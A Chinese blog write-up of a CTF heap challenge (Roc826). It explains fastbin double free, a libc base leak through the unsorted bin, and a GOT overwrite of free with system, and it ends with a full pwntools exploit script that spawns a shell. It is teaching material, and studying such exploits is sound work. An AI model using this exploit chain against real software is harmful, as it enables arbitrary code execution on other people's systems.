一道堆方向的pwn(double free & unsorted bins)

一道堆方向的pwn(double free & unsorted bins)

在某博客上看到了一道堆的题,博主说是入门的,嗯,那正好适合我,于是我花了一周终于出结果了。。。。。。
来看看我都遇到了什么问题
另外,希望你在看这篇文章之前有了解过堆的数据结构

做题环境

Ubuntu 20.04.3 LTS,这是我在微软商店下载的子系统,也是一切万恶之源的开始
题目:Roc826

什么是double free

希望再次之前,你已经知道什么是堆了。
double free就是对一个堆free两次
在堆中,free后堆有这么几个去向

bins 描述
tcachebins 存在与glibc2.7及以上版本,他的优先级比fastbins高
fastbins 是个单链表,存放几个定长的被释放的堆
unsortedbin 存的是不在前两个存储范围的被释放的堆

对于smallbins和largebins不做介绍,据说是在unsortedbin在被遍历的时候放入small或者large中的

根据大部分对double free的介绍来看,利用最多的就是第一次free,堆进入fastbins,第二次free后改变fd指针指向。
在做题时,由于我的子系统版本过高,glibc版本是2.31,因此存在tcachebins,也就是free之后的堆不会进入fastbins

  • 来个例子
int main()
{
        void *a = malloc(0x60);
        void *b = malloc(0x60);
        free(a);
        free(b);
        free(a);
        return 0;
}

gdb调试,执行两次malloc
一道堆方向的pwn(double free & unsorted bins)查看目前堆

Allocated chunk | PREV_INUSE
Addr: 0x8005290
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x8005300
Size: 0x71

继续跟进执行一次free
查看对结果如下,第一个堆状态为free,并且在tcache中

Free chunk (tcache) | PREV_INUSE
Addr: 0x8005290
Size: 0x71
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x8005300
Size: 0x71

再看看bins,可见tcachebins的优先级比fastbins高

pwndbg> bins
tcachebins
0x70 [  1]: 0x80052a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0

那么问题来了,tcachebins下的堆能进行二次free吗,我特意试了一下,不行,会报错,也就意味着高版本glibc做不了这道题,于是一天过去,我想到了换个glibc来调试。

换个版本的glibc来编译运行一下

gcc test.c -m64 -z execstack -fno-stack-protector -no-pie -o test -Wl,--rpath=dir/ -Wl,--dynamic-linker=dir/ld-linux-x86-64.so.2
//指定glibc版本编译

于是我再一次对这个程序进行调试,运行到第一次free后查看堆状态,可见第一个堆进入了fastbins

pwndbg> heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0x405000
Size: 0x71
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x405070
Size: 0x71

查看bins,发现也不存在tcachebins

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x405000 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x0

继续跟进,看第二次free后的fastbins,如下

0x70: 0x405070 —▸ 0x405000 ◂— 0x0

此时的fastbins大致如下(fastbins是头插的)
一道堆方向的pwn(double free & unsorted bins)

  • double free

现在来看看double free,根据前面演示的free可知,free进入fastbins后形成的是一个单链表,在执行free(b)后,b的fd指针指向了a,a的fd是指向一个空指针也就是没有。
那么,如果再对a执行free,a的fd就会指向b
bins如下

0x70: 0x405000 —▸ 0x405070 ◂— 0x405000

结构大致如下
一道堆方向的pwn(double free & unsorted bins)由于a的fd改变了并且指向b,那么尾部那个a的fd也会改变,因为他们是同一个。
此时有两个疑问

  • a的fd指向b有用吗?
  • 怎么利用?

首先,a的fd指向b在这里没有什么意义,利用方式是malloc(a),然后修改a中fd的那个字段,那么对于上图最后那个a就会指向修改过后的一个地址。
如果修改的这个值是内存中的一个地址,那么就有机会在这个地址开辟堆空间,并写数据。

好了,到这里应该差不多知道double free的意义了,就是为了在两次free后控制它的fd字段,进而去控制一块内存空间

  • 演示一下修改这个fd

首先看看fd在哪
一道堆方向的pwn(double free & unsorted bins)
可以看到fd的位置前八个字节(0x405000这开始的10个字节不是这个堆的数据部分)
现在修改fd字段,修改为如下片段

int *a = malloc(0x60);
        void *b = malloc(0x60);

        free(a);
        free(b);
        free(a);

        *a = 0x11111111;

运行后查看a的堆空间,可以看到该字段修改为自己想要的值了
一道堆方向的pwn(double free & unsorted bins)

有了double free我们能够对任意可写地址进行写操作,那么我们可以修改got表中某函数的地址为system的地址,从而就能够调用system函数了

unsorted bins

知道了double free用法后,来看看unsorted bins
double free是最终的利用,但在此之前我们不知道system函数在哪,就需要知道libc基地址,这里就需要借助unsorted bins来得到libc的基地址了

首先unsorted bins存储的是超过了fastbins设定的堆大小的空闲堆
使用如下例子,为a分配0x80大小,但实际堆空间有0x90

这里需要注意unsorted bins在堆释放时会进行前后空闲堆合并,因此需要再申请一个堆空间给b,让a的堆空间与空闲堆空间隔离开,保证free(a)后不合并。

int main()
{
        void *a = malloc(0x80);
        void *b = malloc(0x80);
        free(a);
        return 0;
}

运行后查看bins,可以看到进入了unsorted bins中
一道堆方向的pwn(double free & unsorted bins)
此外还能看到指向的地址0x7fffff3f4b78 (main_arena+88),其中main_arena是malloc实现过程中的一个结构体,他是存在于libc库中的,我们可以通过这个地址来获取libc的基地址
main_arena在libc中的malloc_trim中有使用,如下面的dword_3C4B20
一道堆方向的pwn(double free & unsorted bins)
他在我这里使用的libc版本中的地址如下

data:00000000003C4B20 dword_3C4B20
那么libc的基地址 = addr(main_arena+88) - 88 - addr(dword_3C4B20) 
= 0x7fffff3f4b78 - 88 - 0x3C4B20 = 0x7fffff030000

验证一下,查看vmmap,基地址正确
一道堆方向的pwn(double free & unsorted bins)

好了,到现在libc基地址有了,我们也能控制got表,那么就能拿到shell了
接下来看看我做的这道题吧。。。

Roc826

ida查看一下主函数
一道堆方向的pwn(double free & unsorted bins)
menu是菜单,readi返回终端输入的数字这两个不说了
先看看add函数
一道堆方向的pwn(double free & unsorted bins)list是存放申请得到的堆的地址的一个数组,我们来添加两个堆看看

def add(size, context = 'aaaaaaaa'):
    p.recvuntil(':')
    p.sendline('1')
    p.recvline()
    p.sendline(str(size))
    p.recvuntil(':')
    p.sendline(context)

add(0x10)
add(0x10)

之后查看list,看到两个堆的地址
一道堆方向的pwn(double free & unsorted bins)

add函数开辟堆空间,将堆地址保存到list中,同时通过read_n写入content

然后来看看dele函数
一道堆方向的pwn(double free & unsorted bins)首先读取需要删除的序号,然后判断list数组中该处是否为空,然后才执行free操作
那么问题来了

if ( (&list)[v1] )

这一句,只是判断list中是否有值,也就是list[v1]是否为空,并不能判断该处的堆是否是空闲,并且free只对堆空间进行操作,不会堆list造成影响
也就是说我执行free后,list数组是没有变化的,那么我就能够进行多次free操作
看看下面执行后,查看一下list

def dele(id):
    p.recvuntil(':')
    p.sendline('2')
    p.recvline()
    p.sendline(str(id))

add(0x10)
add(0x10)
dele(0)

能够发现的是list[0]处还是原来堆的地址
一道堆方向的pwn(double free & unsorted bins)

那么我们就可以对该堆进行二次释放,从而可以实现double free了,再用add函数就可以修改fd指向,并进行任意地址写。

现在还差一点,就是获取libc基地址,来看看最后一个函数show
一道堆方向的pwn(double free & unsorted bins)
show函数会打印content内容,也就是从堆地址开始到00截断的内容
那么我们可以用它来打印出main_arena + 88的地址了,也就是打印出free后进入unsorted bins的那个堆的内容

那么这道题的思路就是

  1. malloc一个超过fastbins的堆大小
  2. malloc两个free后能进入fastbins的堆,来实现double free
  3. 接着先free第一个堆,然后使用show函数打印出main_arena+88的地址,算出libc基地址
  4. 利用double free修改got表,这里修改free的地址指向了system
  5. 再次申请一个堆,存放“/bin/sh”
  6. 指向dele操作,从而 执行system("/bin/sh")

首先得到libc基地址,操作如下

def show(id):
    p.recvuntil(':')
    p.sendline('3')
    p.recvline()
    p.sendline(str(id))
    p.recvuntil('content:')

add(0x80)
add(0x58)
dele(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, b'\00')) - 88 - 0x3c4b20
print(hex(libc_base))

输出结果 0x7f17c1a70000

接着进行double free,

add(0x58)
add(0x58)
dele(1)
dele(2)
dele(1)
debug()

查看fastbins发现double free成功

0x60: 0x7fffe9d35090 —▸ 0x7fffe9d35000 ◂— 0x7fffe9d35090

接下来就行覆写got表中free地址

sys_addr = libc_base + libc.sym['system']
free_got = elf.got['free']
print(hex(free_got))
add(0x58, p64(free_got - 0x1e))
add(0x58)
add(0x58)
add(0x58, 14 * 'a' + p64(sys_addr)[:6])
debug()

来解释一下为什么free_got要减去0x1e,首先free_got处是我们要覆写的地方,然而fd指针指向的是堆最开头的那个位置,也就是包含大小那一段,如果直接以free_got作为fd,那么在覆写的时候其实是从free_got + 0x10处开始写的,这样就无法覆写free了,当然,也可以去覆写在free之后的函数
另外,减去0x1e并不只是为了调整堆申请的地址,同时也是为了保证size字段与自己要添加大小要一致,否则申请堆会出错

如下,查看free_got - 0x1e处的内容,可以看到末尾两个是0x60
我们申请的堆大小是0x58,但这里需要对齐,申请得到的大小就是0x60

一道堆方向的pwn(double free & unsorted bins)

那么为什么一定要是0x60呢?
因为我们此时的fastbins是0x60这一块的,否则无法调用fastbins

关于0x50和0x58分配时为什么都是0x60的空间
首先0x50好理解,因为0x50是申请的数据段大小,知道堆结结构的同学知道,他前面还有0x10个字节,其中后八个字节存的是size字段
那么对于0x58呢?
其实我也不是特别清楚为什么这里只加了0x8进去,而不是加0x10,需要0x68的大小,姑且认为pre_size字段作为了前一个chunk的数据部分,所以就只加了0x8个字节

好了,free的got表被覆写了,接着就是需要执行system(“bin/sh”)函数,
因此就需要假装执行free("/bin/sh")

add(0x80, b'/bin/sh\00')
dele(8)
p.interactive()

另外添加一个堆,内容是“/bin/sh”
接着调用dele执行free,就可以得到shell了

结果!!!!!!!!
一道堆方向的pwn(double free & unsorted bins)

这里我想了很久很久,最终我给自己的解释是,libc版本问题
虽然我指定了libc本版来调试,但不代表之后用的这个libc
所以
我换了个ubuntu16的环境
然后就可以了一道堆方向的pwn(double free & unsorted bins)

最后

这道题搞了我很久,心态炸过好几次,很多原因都是因为版本问题还有一些细节问题,希望各位能够看懂,也希望能够解决各位的一点困惑,欢迎提问。

附上exp

from pwn import *

#p = process(["./ld-2.23.so", "./Roc826"],env={"LD_PRELOAD":"./libc.so.6"})
p = process("./Roc826")
elf = ELF('./Roc826')
libc = ELF('./libc.so.6')
def debug():
    gdb.attach(p)

def add(size, context = b'aaaaaaaa'):
    p.recvuntil(b':')
    p.sendline(b'1')
    p.recvline()
    p.sendline(str(size))
    p.recvuntil(b':')
    p.sendline(context)

def dele(id):
    p.recvuntil(b':')
    p.sendline(b'2')
    p.recvline()
    p.sendline(str(id))

def show(id):
    p.recvuntil(b':')
    p.sendline(b'3')
    p.recvline()
    p.sendline(str(id))
    p.recvuntil(b'content:')

add(0x80)
add(0x58)

dele(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, b'\00')) - 88 - 0x3c4b20
print(hex(libc_base))

add(0x58)
add(0x58)
dele(1)
dele(2)
dele(1)

sys_addr = libc_base + libc.sym['system']
free_got = elf.got['free']
print(hex(sys_addr))
add(0x58, p64(free_got - 0x1e))
print(hex(free_got - 0x10))
add(0x58)
add(0x58)
debug()
add(0x58,14 * b'a' + p64(sys_addr)[:6])
add(0x80, b'/bin/sh\00')
debug()
dele(8)
p.interactive()
上一篇:sctf_2019_one_heap


下一篇:pwndocker的坑点收集